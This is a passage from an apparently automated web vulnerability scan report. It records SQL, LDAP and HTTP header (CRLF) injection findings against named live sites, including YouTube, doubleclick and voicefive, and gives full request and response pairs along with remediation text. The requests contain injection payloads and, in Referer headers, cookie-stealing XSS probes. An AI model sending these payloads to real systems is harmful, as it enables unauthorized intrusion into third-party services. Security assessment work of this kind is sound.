Request 2

GET /orthopedics'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sat, 05 Feb 2011 22:09:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=33dnlq55duskvq55o1bwound; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11980

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

1.67. http://www.slackbooks.com/pediatrics [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/pediatrics

Issue detail

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

GET /pediatrics' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Sun, 06 Feb 2011 17:01:22 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 9989

<html>
<head>
<title>Unclosed quotation mark before the character string 'pediatrics''.<br>Line 1: Incorrect syntax near 'pediatrics''.</title>
<style>
body {font-fami
...[SNIP]...

Request 2

GET /pediatrics'' HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response 2

HTTP/1.1 404 Not Found
Connection: close
Date: Sun, 06 Feb 2011 17:01:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11978

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

2. LDAP injection previous next
There are 3 instances of this issue:

http://ar.voicefive.com/bmx3/broker.pli [pid parameter]
http://www.youtube.com/v/VUCJyeb_3Mo [VISITOR_INFO1_LIVE cookie]
http://www.youtube.com/v/sj4BVK0o-7w [VISITOR_INFO1_LIVE cookie]

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

2.1. http://ar.voicefive.com/bmx3/broker.pli [pid parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The pid parameter appears to be vulnerable to LDAP injection attacks.

The payloads da39f516a098b3de)(sn=* and da39f516a098b3de)!(sn=* were each submitted in the pid parameter. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /bmx3/broker.pli?pid=da39f516a098b3de)(sn=*&PRAd=264255445&AR_C=185637072 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p68511049=exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; UID=1d29d89e-72.246.30.75-1294456810

Response 1

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:00 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_da39f516a098b3de)(sn=exp=1&initExp=Sun Feb 6 13:40:00 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:00 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999600; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 9

/*error*/

Request 2

GET /bmx3/broker.pli?pid=da39f516a098b3de)!(sn=*&PRAd=264255445&AR_C=185637072 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p68511049=exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; UID=1d29d89e-72.246.30.75-1294456810

Response 2

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:00 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_da39f516a098b3de)!(sn=exp=1&initExp=Sun Feb 6 13:40:00 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:00 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999600; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 9

/*error*/

2.2. http://www.youtube.com/v/VUCJyeb_3Mo [VISITOR_INFO1_LIVE cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.youtube.com
Path:	/v/VUCJyeb_3Mo

Issue detail

The VISITOR_INFO1_LIVE cookie appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the VISITOR_INFO1_LIVE cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Request 1

GET /v/VUCJyeb_3Mo?fs=1&hl=en_US&color1=0x3a3a3a&color2=0x999999 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/manuals-online?4a4b1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E18871e2d338=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=*)(sn=*; use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; GEO=c0f1d1d2c857cb01c350c8b8c68c361ecwsAAAAzVVOtwdbzTU3HFg==

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:06 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: VISITOR_INFO1_LIVE=puf24BL7mrY; path=/; domain=.youtube.com; expires=Mon, 03-Oct-2011 23:03:06 GMT
Set-Cookie: VISITOR_INFO1_LIVE=puf24BL7mrY; path=/; domain=.youtube.com; expires=Mon, 03-Oct-2011 23:03:06 GMT
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 1151
Content-Type: application/x-shockwave-flash

CWS. ...x.}U[s.F.>.a..$.u....M.N...:..bc.C.`..<.E#."..."....4O~d...o.S..{vW..4......s..`.%@.o.{ 8....H....>.........P........x......W^.I.(..B..E.f....o..d..'...e.KJ.d..<.-..%......y.....e..x...........\.t...aQ@.\...#h...x....vGe..P....m.&..Q..Ea.`@-.....C..u...6..!.x..".=.k..."..1..xCC.F......43.\b....6u..?|8.:..Q......>:^........[id..>#..s...C.wzX)._.........GJ%.y......|s:....m8..1.$.o..>..t....P...3....Ri.|.S......i.!....:Q.....KJ..EajR....HJV....7..r}}.~.. ...k.6..av.M....=.Z.^.R.n.{...b.a;^.t..<...O.oR....*...#......}6.y.J.fJ..- ...
....b_.m.\..O1/]..{@F...nu..U...\.......3...C..`....."....a.....P..9&..`...,/{.B..L.D..S....m........S.-....#..6..=m...
p.ep.j...<..cb?L..!.N..._I.$.Bt...Nn..;..l..
.RG&..L.
.4.+. S^Mb....../..R".B.g...G....B.p.T.W+<L..`...L.X..R.......,4+B.*..:W_...m8.!ne')..(..X.C6.!..E.....l..........sC..? ......wbd..1L..JU3./I.#.g.`.......|.zu.o...s6wy...."..Y..9_.h.V..Se..O.
...jZ.~ b...........J.. .....a....~..&.V...>..?..^..v'h.(.".....i.Y....;........(cl7...
.:..g^9.......Y...TN[.....}s.:u.....^....,."...I..*...~K.PQ...v.e..=B...._...V...T..z4..4...._>..x.5.KW..d3......R..q.H...%.nH'
(.. ..w..'........V..

Request 2

GET /v/VUCJyeb_3Mo?fs=1&hl=en_US&color1=0x3a3a3a&color2=0x999999 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/manuals-online?4a4b1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E18871e2d338=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=*)!(sn=*; use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; GEO=c0f1d1d2c857cb01c350c8b8c68c361ecwsAAAAzVVOtwdbzTU3HFg==

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:03:07 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: VISITOR_INFO1_LIVE=te6UVu5KjtQ; path=/; domain=.youtube.com; expires=Mon, 03-Oct-2011 23:03:07 GMT
Set-Cookie: VISITOR_INFO1_LIVE=te6UVu5KjtQ; path=/; domain=.youtube.com; expires=Mon, 03-Oct-2011 23:03:07 GMT
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 1161
Content-Type: application/x-shockwave-flash

CWS.....x.}V[s.F.>.a..$.    u......m.:..4.......$y.,....."....4O~d...o.S..{v%.i......o.E.....H.p/........`\.`.o..r.=..Y97.....n??`.7..G#.1.u7...]..<w..`}..@...;.......]z.........w...B....@.:..6.?.p.m
p...9./}w...6..    ....O..:sBN.<`.....
.e".P.. ......CM......Y.5..0..U..6uz.....:V.0.Q.!h.........!.........@.L}F<...s...<.t.....    r.~}|.....%.zV......?:.A.....AH[....WR..`I\pW."i.&.b.Q..E...bIg.7..sXH....`..I..........v..U*m..........&6..w.k.}.ptt..}....I.Ry\.%.\.<..PU.....C3..tg...a4.yNz4...Q.n....Bu..........v...r..<
}...]bUm..)...N........R3.....@,....`R.+...Y@<.u..$8.z...`....9....86............E...#...G..R......l2...`.....h{...f<j.<.'033 ...c.....IA....p. .;.C..!z......^.My.w..m..0V@.l:...%...J...6<........
*.J..D&b....    X.....$...j...P.#%...~...DD]{.!...GJ.rI.Ib.,.{.j...\...tk }..fIj..........    '2...8.Z.E.).|.&>dA..T.B..m=..k.*...........V.dz.[1.....2......$....i0,.j
fB...^...j.......df<.z&...\...P....Q..O.....ZZ.~.b...t.....Rz*...4.....7."m....".&A...V...{...........$.M...UOd...h..:?;.Q...t.C.].^..kCz...5.+j.Wq)'#.f.q..>D..(N..I/H..a..E...I..*.*.~#...&.!.z....>......_...F}...~...W.|....K...Y.b....le..XU.>.C{.p...x.?7..}.G.....c..a......u..

2.3. http://www.youtube.com/v/sj4BVK0o-7w [VISITOR_INFO1_LIVE cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.youtube.com
Path:	/v/sj4BVK0o-7w

Issue detail

The VISITOR_INFO1_LIVE cookie appears to be vulnerable to LDAP injection attacks.

The payloads 4e65bf9585ccb14d)(sn=* and 4e65bf9585ccb14d)!(sn=* were each submitted in the VISITOR_INFO1_LIVE cookie. These two requests resulted in different responses, indicating that the input may be being incorporated into a disjunctive LDAP query in an unsafe manner.

Request 1

GET /v/sj4BVK0o-7w HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=4e65bf9585ccb14d)(sn=*

Response 1

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:45:30 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: VISITOR_INFO1_LIVE=JDxEeiRoNDo; path=/; domain=.youtube.com; expires=Tue, 04-Oct-2011 17:45:30 GMT
Set-Cookie: VISITOR_INFO1_LIVE=JDxEeiRoNDo; path=/; domain=.youtube.com; expires=Tue, 04-Oct-2011 17:45:30 GMT
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 1028
Content-Type: application/x-shockwave-flash

CWS.0...x.}U[s.F.>.a    |IB.P.....6.1".7.\..zHmL....Y.E^[H........5.....)..].@..<..........^....x...{...._S..>........S.`...g=.lz=c...r...O.ocoh\.f...;.|....-.P.....,j.F...k...D...W....W9.v6O.*.7.[...../7Zo........"....0.Y.k3..L....Z.X..a..8.N..k......5^XO..Nis..uT...f.|.{...kyf.G].'...}......I+d.~..y&.. .awR0..f.4u.k.~.1.:Gv......
T..x......,..h...."6..=...0^.2hn.=O}..m;^.8........#...#V.a>.r    (.......7`TZ&...........`Q...8.2$>C...    /.^s..X.(..\.v.I...sD....d..u..!....].G..........2...`.........w....k..fx.A%0...g].l"Z^K..5....`.mq...n;........t..B....|.O..J.!U...]L@z....5g.
*.J..T!..7x.S...1..tt.tU....">..m..C..&2..KL...:6.7."M.. ..`j.......t. c..eAZ...T.......g2..b..-...TT..S.. E..N..-6...5P..R...Q...Hz.p6=....c..    jlj......d..I......NR/..v..|....Y..eA/.......&ZUy:5&....pF_..%.9H.....,B.cO..$.s.qN."v\K...............1.....;F....k..I,.......K...B....8.zS......(}..&.........QB.....|B...hS...%.9._=....$X1-CUEWE...'T.T|.J.
.t....8|.?......Z....o.F.....C[H.Y.s....n.`G.*|...5
9.A1..[N.~....a...Gox........'..r

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:45:31 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: VISITOR_INFO1_LIVE=Rv5nYsXJ1-I; path=/; domain=.youtube.com; expires=Tue, 04-Oct-2011 17:45:31 GMT
Set-Cookie: VISITOR_INFO1_LIVE=Rv5nYsXJ1-I; path=/; domain=.youtube.com; expires=Tue, 04-Oct-2011 17:45:31 GMT
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Length: 1042
Content-Type: application/x-shockwave-flash

CWS.=...x.}U[S.F..,.H\..I\ZC -m.)...2....8..1-y...Z.dI..6.......C.[...E....4M...s..;{.W.x.d.......{.f)...8....9.....Y.....M.mt.#..........g..f...qy."......E.v.Y..H..h....-...w~.-nn....-.]...V.h..jy;~.k..&.l..:[..6*.k......@(...>G!....cQ...2yTx.x..+.....q........./...fce}}e.`e..5C'..7]...,..i3..q.K.=!.c.R\gE.)..n<.`..B.5,....s.L.3.A..m..v.......J.....IT.p<...Z.W...i......i.7sZ...wg.o0..m.o.....>.....xp}.*.N..\Bfrv..x|.w.&-.......e.L.mPQ0.l.."2..Hn.ft.v.Y.Q.......e6.....".fhK.".<X,..... 8.....w..E..1.%..NT...5...ux..\.g....J8...NZ.l.Z^.(.kD...p<.uq........)....^.....@G>..S._i!..Ru..qH...;....B..THH..!}MW=..e$......UM..>..dd....}...k.(......_..4iJC....2Y..T.H........i...\E.....e...w....4.*#Q.PL}(B..T.A....H.kP..RJ..Q...Hz-w2:....'....51.r..d?.|6JF...`,..a..1..W^..<.=K....sIon.b..FVU.NM. 9#;....Y...../..D......T....qB.2q\J............ ..)..j..;$.Iy-.h7%.h.=+7.....4)......X...?..u.....d..?Qc...=.P9.b.6=...C...b....)._<L...$T1-CUEWE..$'T.Tr.V....i....i...;-......s'.}..C(.W.mn0.Z.KW$.t-.-1..>..4.8k#.....5;..c..Y..G......F........

3. HTTP header injection previous next
There are 29 instances of this issue:

http://ad.doubleclick.net/ad/N553.158901.DATAXU/B4970757.11 [REST URL parameter 1]
http://ad.doubleclick.net/ad/N815.286991.WEBBUYERSGUIDE/B5173264 [REST URL parameter 1]
http://ad.doubleclick.net/ad/N815.zdenterprise/B4597436.59 [REST URL parameter 1]
http://ad.doubleclick.net/ad/N815.zdenterprise/B4822628.25 [REST URL parameter 1]
http://ad.doubleclick.net/ad/N815.zdenterprise/B5069510.14 [REST URL parameter 1]
http://ad.doubleclick.net/ad/N815.zdenterprise/B5069510.30 [REST URL parameter 1]
http://ad.doubleclick.net/ad/N815.zdenterprise/B5069510.9 [REST URL parameter 1]
http://ad.doubleclick.net/ad/entzd.eweek/ibmtutorial [REST URL parameter 1]
http://ad.doubleclick.net/ad/entzd.eweek/ibmwidget/cloudimu [REST URL parameter 1]
http://ad.doubleclick.net/ad/entzd.eweek/ibmwidget/virtimu [REST URL parameter 1]
http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11 [REST URL parameter 1]
http://ad.doubleclick.net/adj/N553.158901.DATAXU/B4970757.11 [REST URL parameter 1]
http://ad.doubleclick.net/adj/entzd.base/itmanagement [REST URL parameter 1]
http://ad.doubleclick.net/adj/oiq.man.homeappliance/ [REST URL parameter 1]
http://ad.doubleclick.net/jump/N553.158901.DATAXU/B4970757.11 [REST URL parameter 1]
http://ad.zanox.com/tpv/ [14786739C435671106&ULP parameter]
http://ad.zanox.com/tpv/ [name of an arbitrarily supplied request parameter]
http://ad.zanox.com/tpv/ [zpar0 parameter]
http://bs.serving-sys.com/BurstingPipe/BannerRedirect.asp [eyeblaster cookie]
http://bs.serving-sys.com/BurstingPipe/BannerSource.asp [eyeblaster cookie]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [bwVal parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [eyeblaster cookie]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [flv parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [res parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [wmpv parameter]
http://live.activeconversion.com/webtracker/track2.html [avc parameter]
http://mm.chitika.net/track [target parameter]
http://www.salesforce.com/servlet/servlet.WebToLead [REST URL parameter 2]
https://www.salesforce.com/servlet/servlet.WebToLead [REST URL parameter 2]

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

3.1. http://ad.doubleclick.net/ad/N553.158901.DATAXU/B4970757.11 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N553.158901.DATAXU/B4970757.11

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 9bf0b%0d%0ad1d5184d06f was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /9bf0b%0d%0ad1d5184d06f/N553.158901.DATAXU/B4970757.11 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/9bf0b
d1d5184d06f/N553.158901.DATAXU/B4970757.11:
Date: Sat, 05 Feb 2011 21:50:27 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

3.2. http://ad.doubleclick.net/ad/N815.286991.WEBBUYERSGUIDE/B5173264 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N815.286991.WEBBUYERSGUIDE/B5173264

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 843f5%0d%0acb11c15fe77 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /843f5%0d%0acb11c15fe77/N815.286991.WEBBUYERSGUIDE/B5173264;sz=1x1;ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/843f5
cb11c15fe77/N815.286991.WEBBUYERSGUIDE/B5173264%3Bsz%3D1x1%3Bord%3D%5Btimestamp%5D:
Date: Sun, 06 Feb 2011 13:22:39 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.3. http://ad.doubleclick.net/ad/N815.zdenterprise/B4597436.59 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N815.zdenterprise/B4597436.59

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 1032c%0d%0a72456777471 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /1032c%0d%0a72456777471/N815.zdenterprise/B4597436.59;sz=1x1;ord=1288981822554? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/1032c
72456777471/N815.zdenterprise/B4597436.59%3Bsz%3D1x1%3Bord%3D1288981822554:
Date: Sun, 06 Feb 2011 13:22:40 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.4. http://ad.doubleclick.net/ad/N815.zdenterprise/B4822628.25 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N815.zdenterprise/B4822628.25

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 8b0ee%0d%0a76dcc98cc56 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /8b0ee%0d%0a76dcc98cc56/N815.zdenterprise/B4822628.25;sz=1x1;ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
